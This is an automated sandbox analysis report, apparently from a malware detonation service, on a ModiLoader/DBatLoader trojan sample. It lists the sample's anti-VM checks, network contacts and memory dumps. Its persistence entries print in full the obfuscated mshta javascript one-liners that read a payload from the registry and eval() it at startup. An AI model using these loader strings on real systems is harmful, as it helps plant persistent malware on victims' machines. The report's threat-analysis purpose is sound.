Malware Analysis Report

2024-10-23 19:36

Sample ID 240504-j3zv3sgc3s
Target 11d569ff76962c8a7a08e396813d579e_JaffaCakes118
SHA256 0f1b0df55a65e23c275db8c90c0e674175d4e29afac3c1374fe77c481131ce32
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0f1b0df55a65e23c275db8c90c0e674175d4e29afac3c1374fe77c481131ce32

Threat Level: Known bad

The file 11d569ff76962c8a7a08e396813d579e_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Checks for common network interception software

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Looks for VMWare Tools registry key

Adds policy Run key to start application

Checks BIOS information in registry

Deletes itself

Maps connected drives based on registry

Adds Run key to start application

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 08:12

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 08:12

Reported

2024-05-04 08:14

Platform

win10v2004-20240419-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Cin9DOWP=\"QRmA\";m40j=new%20ActiveXObject(\"WScript.Shell\");v0fWirw=\"lQN7wR\";EkKA9=m40j.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bfe0c86768\\\\1c3a12c4\");Mn4PyftR3=\"91\";eval(EkKA9);XV2Z0GuY=\"9S6W0hIa\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:RNx6QEi=\"E\";fC76=new%20ActiveXObject(\"WScript.Shell\");efmWf05DS=\"3\";DpL3R=fC76.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bfe0c86768\\\\1c3a12c4\");IaIQ8tlPq=\"fPgUgtjp\";eval(DpL3R);RHgB5QfLV3=\"xgkzQBl\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GOANL3Qh=\"LnNTYr6N\";FE11=new%20ActiveXObject(\"WScript.Shell\");HNMsrrGc69=\"mmcp\";X6QWL=FE11.RegRead(\"HKCU\\\\software\\\\bfe0c86768\\\\1c3a12c4\");C5yEyam=\"MXwfNoH\";eval(X6QWL);iP28nCylt=\"RszjOv4V\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 21.85.196.41:80 tcp
ES 77.230.188.115:80 tcp
GB 168.104.95.89:443 tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 166.231.230.227:80 tcp
PT 62.48.176.74:80 tcp
US 7.59.29.187:80 tcp
PT 62.48.176.74:80 62.48.176.74 tcp
US 8.8.8.8:53 74.176.48.62.in-addr.arpa udp
FR 195.6.125.121:80 tcp
DE 87.167.105.203:80 tcp
US 19.106.41.46:80 tcp
CN 171.127.205.215:80 tcp
DE 53.207.183.61:80 tcp
BR 179.248.113.22:80 tcp
UA 46.33.246.98:80 tcp
IT 151.74.124.118:80 tcp
US 96.241.30.167:443 tcp
IN 13.204.26.39:80 tcp
MX 170.169.203.36:80 tcp
BR 191.7.65.234:80 tcp
CA 142.127.72.17:80 tcp
DE 217.248.196.160:80 tcp
US 205.83.77.57:80 tcp
TW 180.176.123.247:80 tcp
NL 82.204.5.219:80 tcp
AU 1.155.202.74:80 tcp
KR 203.235.121.186:443 tcp
SA 37.121.239.16:80 tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
UA 94.45.76.135:443 tcp
CN 119.188.246.169:8080 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 207.215.154.108:80 tcp
US 173.173.248.227:80 tcp
IE 57.141.118.197:80 tcp
DE 141.82.106.77:80 tcp
NO 159.171.8.40:80 tcp
US 144.33.231.18:80 tcp
US 70.211.43.86:80 tcp
US 213.139.71.15:80 tcp
US 73.50.237.222:80 tcp
IN 120.59.253.27:80 tcp
CN 218.7.51.67:80 tcp
US 65.61.104.97:80 tcp
JP 13.115.120.57:80 tcp
US 152.14.104.40:80 tcp
AT 213.185.164.251:80 tcp
BE 147.12.72.90:80 tcp
US 214.197.127.157:443 tcp
JP 27.253.139.121:80 tcp
ZA 196.211.224.124:80 tcp
GB 109.146.19.78:80 tcp
ID 103.235.34.227:80 tcp
US 132.118.105.222:8080 tcp
US 40.184.36.50:80 tcp
US 72.105.111.193:443 tcp
ID 182.10.188.175:80 tcp
BR 187.48.29.184:80 tcp
DE 51.40.161.106:80 tcp
KR 211.182.56.80:80 tcp
FR 78.207.145.124:80 tcp
US 206.187.193.234:80 tcp
JP 221.26.247.76:80 tcp
US 32.204.80.239:80 tcp
LY 41.253.156.164:80 tcp
US 69.75.95.66:80 tcp
DE 217.1.238.147:80 tcp
US 46.247.149.91:80 tcp
ES 81.44.185.113:80 tcp
US 22.128.211.51:80 tcp
PT 62.48.176.74:80 62.48.176.74 tcp
N/A 10.41.36.222:80 tcp
ES 95.125.90.163:80 tcp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
CN 175.147.195.53:80 tcp
CN 116.251.67.17:8080 tcp
CN 117.119.17.5:80 tcp
US 3.210.134.128:80 tcp
US 99.175.81.147:80 tcp
US 174.223.183.176:80 tcp
US 8.8.8.8:53 51.15.97.104.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 129.196.136.167:80 tcp
RU 37.145.97.99:80 tcp
LT 90.135.147.1:80 tcp
US 198.179.76.203:80 tcp
ES 176.56.110.101:80 tcp
DE 5.254.20.226:80 tcp
US 148.32.97.232:80 tcp
PT 62.28.50.158:80 tcp
US 129.231.33.58:80 tcp
US 208.139.121.194:80 tcp
US 199.204.205.185:80 tcp
N/A 10.154.251.91:80 tcp
US 207.201.240.208:80 tcp
GB 62.60.111.7:80 tcp
IT 88.57.211.151:80 tcp
FR 79.86.159.228:80 tcp
N/A 127.97.238.35:443 tcp
JP 60.87.67.128:443 tcp
SG 163.57.18.222:80 tcp
NL 20.101.108.211:80 tcp
HK 154.206.128.184:80 tcp
N/A 10.49.163.107:8080 tcp
CA 184.144.195.68:80 tcp
US 40.106.107.231:80 tcp
HK 38.55.99.176:80 tcp
US 174.152.72.222:443 tcp
CA 192.197.170.224:80 tcp
FI 146.119.33.90:80 tcp
IN 27.61.131.221:443 tcp
HU 217.13.106.148:80 tcp
RO 85.204.35.245:443 tcp
CA 24.203.34.60:80 tcp
US 174.131.135.200:8080 tcp
MX 201.142.243.49:80 tcp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 174.172.66.59:80 tcp
US 30.45.115.175:80 tcp
SA 188.48.132.251:443 tcp
US 6.199.56.254:80 tcp
JP 124.145.209.135:443 tcp
CN 150.158.34.135:8080 tcp
US 20.122.68.135:80 tcp
US 72.121.222.122:80 tcp
KR 59.21.96.201:80 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 18.82.189.40:80 tcp
DZ 154.247.24.197:80 tcp
US 43.215.190.14:8080 tcp
US 104.13.142.117:80 tcp
US 161.51.7.45:80 tcp
CN 101.199.120.185:80 tcp
US 207.71.248.189:80 tcp
US 47.202.44.113:80 tcp
US 96.154.185.36:80 tcp
SK 46.34.227.216:80 tcp
ZA 102.251.99.43:80 tcp
PH 49.146.31.226:80 tcp
PT 62.48.176.74:80 62.48.176.74 tcp
US 159.182.101.187:80 tcp
US 24.196.160.217:80 tcp
MU 196.195.207.204:443 tcp
US 206.214.6.51:80 tcp
FR 91.170.227.242:80 tcp
SG 43.169.76.100:80 tcp
US 146.61.28.99:80 tcp
JP 133.77.25.31:80 tcp
US 169.91.145.139:80 tcp
US 17.219.36.124:80 tcp
KR 115.93.230.110:80 tcp
LT 88.216.150.45:80 tcp
US 70.5.118.22:80 tcp
AU 1.41.200.228:80 tcp
US 192.159.145.141:80 tcp
CN 115.239.142.180:80 tcp
US 15.125.220.111:80 tcp
US 34.174.180.109:80 tcp
IT 37.176.174.66:80 tcp
US 206.111.145.150:80 tcp
CN 39.96.189.120:80 tcp
IT 15.161.32.64:80 tcp
DE 194.59.147.164:80 tcp
RO 80.96.220.183:80 tcp
US 98.187.229.144:443 tcp
SE 90.225.48.66:80 tcp
GB 86.185.206.90:80 tcp
US 173.219.165.60:80 tcp
US 166.145.40.124:80 tcp
JP 150.59.66.242:80 tcp
JP 219.37.52.50:80 tcp
US 167.13.54.3:80 tcp
US 132.15.175.129:80 tcp
MV 202.21.189.82:80 tcp
US 134.197.229.14:80 tcp
RU 91.189.165.114:80 tcp
NO 88.94.126.253:443 tcp
US 21.26.126.159:80 tcp
HU 130.43.218.179:443 tcp
CA 24.146.82.118:80 tcp
JP 219.115.202.116:8080 tcp
US 48.47.210.236:80 tcp
US 205.68.105.53:80 tcp
FR 158.50.84.69:80 tcp
US 173.191.186.36:80 tcp
US 216.163.45.195:80 tcp
US 165.105.61.132:80 tcp
HK 184.30.10.249:8080 tcp
US 54.14.32.248:443 tcp
VN 113.188.137.220:80 tcp
US 3.245.232.137:80 tcp
CN 124.118.228.3:443 tcp
US 66.237.98.174:80 tcp
JP 35.213.101.15:80 tcp
JP 133.110.97.47:80 tcp
MY 210.19.210.101:80 tcp
JP 133.241.147.117:80 tcp
MA 102.52.39.39:80 tcp
KR 182.210.138.47:80 tcp
CN 124.172.148.22:80 tcp

Files

memory/5032-1-0x0000000002310000-0x0000000002390000-memory.dmp

memory/5032-2-0x0000000000780000-0x0000000000781000-memory.dmp

memory/5032-3-0x0000000002310000-0x0000000002390000-memory.dmp

memory/5032-4-0x0000000000400000-0x00000000004AC000-memory.dmp

memory/5032-7-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/5032-10-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/5032-9-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/5032-8-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/5032-6-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/5032-17-0x0000000000400000-0x00000000004AC000-memory.dmp

memory/5032-15-0x0000000002310000-0x0000000002390000-memory.dmp

memory/5032-11-0x0000000002FE0000-0x00000000030AC000-memory.dmp

memory/3616-18-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3616-19-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3616-21-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3616-22-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3616-24-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3616-25-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3616-23-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3616-26-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3896-32-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3616-27-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3896-37-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3896-35-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3896-38-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-41-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-43-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-40-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-42-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-39-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-49-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-52-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-51-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-50-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-48-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-47-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-46-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-44-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-45-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/2260-53-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/2260-56-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/2260-54-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/2260-57-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/2260-62-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/2260-61-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/2260-60-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/2260-59-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/2260-58-0x0000000001000000-0x00000000010CC000-memory.dmp

memory/3896-63-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3896-64-0x00000000012C0000-0x000000000138C000-memory.dmp

memory/3488-65-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3488-68-0x00000000009F0000-0x00000000009F9000-memory.dmp

memory/3488-66-0x00000000009F0000-0x00000000009F9000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 08:12

Reported

2024-05-04 08:14

Platform

win7-20240221-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:hHyNhxa19O=\"GrTVRRz\";C65Y=new%20ActiveXObject(\"WScript.Shell\");DXF6GaKNO=\"iVUKy8wu\";WL14Vh=C65Y.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");gTj6bHJ=\"YFE0\";eval(WL14Vh);WK8rMrdG2f=\"VPz7aT\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:nFK88lpLM=\"LLwLxy\";K3V5=new%20ActiveXObject(\"WScript.Shell\");UznSJ9pf=\"HCHw45APe\";jm0XL3=K3V5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");w0Wt4KZq=\"K96Hh\";eval(jm0XL3);Rnu9t1qILg=\"G8lp7To\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ZFrF70RM=\"lVnKYAI1\";Y2t=new%20ActiveXObject(\"WScript.Shell\");auikKYi06=\"9M\";uLi73y=Y2t.RegRead(\"HKCU\\\\software\\\\9e4ab122db\\\\a90a5c2c\");IO9jbijp7B=\"AaQs\";eval(uLi73y);xc0dtCHR7=\"BRTxg\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
